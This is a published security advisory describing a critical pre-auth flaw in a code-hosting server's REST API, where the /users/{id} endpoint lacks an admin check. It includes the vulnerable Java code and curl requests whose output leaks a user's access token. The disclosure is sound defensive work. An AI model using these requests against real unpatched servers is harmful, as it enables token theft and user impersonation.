Skip to content

Pre-Auth Access token leak

Critical
robinshine published GHSA-66v7-gg85-f4gx Jan 11, 2021

Package

No package listed

Affected versions

<4.0.2

Patched versions

4.0.3

Description

Impact

The REST UserResource endpoint performs a security check to make sure that only administrators can list user details. For the /users/ endpoint we have:

@ValidQueryParams
@GET
public Response query(@QueryParam("name") String name, @Email @QueryParam("email") String email, @QueryParam("offset") Integer offset, @QueryParam("count") Integer count, @Context UriInfo uriInfo) { 
  if (!SecurityUtils.isAdministrator())
    throw new UnauthorizedException("Unauthorized access to user profiles");
  ...
}

However for the /users/{id} endpoint there are no security checks enforced so it is possible to retrieve arbitrary user details:

@Path("/{userId}")
public User get(@PathParam("userId") Long userId) {
  return userManager.load(userId);
}

For the protected endpoint, we get an Unauthorized access error:

curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/users
Unauthorized access to user profiles

But for the /users/{} endpoint we can list full user details, including their Access Tokens!

curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/users/1
{
  "id" : 1,
  "name" : "admin",
  "fullName" : "admin",
  "ssoInfo" : {
    "connector" : null,
    "subject" : "4a155bff-715d-45e9-8898-4152bb97d25e"
  },
  "email" : "[email protected]",
  "accessToken" : "JqnqWs6YsP8x3poNpnj6J6GFbvh0szli6lr5BWH8",
  "userProjectQueries" : [ ],
  "userIssueQueries" : [ ],
  "userIssueQueryWatches" : { },
  "issueQueryWatches" : { },
  "userPullRequestQueries" : [ ],
  "userPullRequestQueryWatches" : { },
  "pullRequestQueryWatches" : { },
  "userBuildQueries" : [ ],
  "userBuildQuerySubscriptions" : [ ],
  "buildQuerySubscriptions" : [ ]
}

These access tokens can be used to access the API or clone code in the build spec via the HTTP(S) protocol. It has permissions to all projects accessible by the user account.

This issue may lead to Sensitive data leak and leak the Access Token which can be used to impersonate the administrator or any other users.

Patches

This issue was addressed in 4.0.3 by removing user info from restful api.

Credits

This issue was discovered by @pwntester

Severity

Critical

CVE ID

CVE-2021-21246

Weaknesses

No CWEs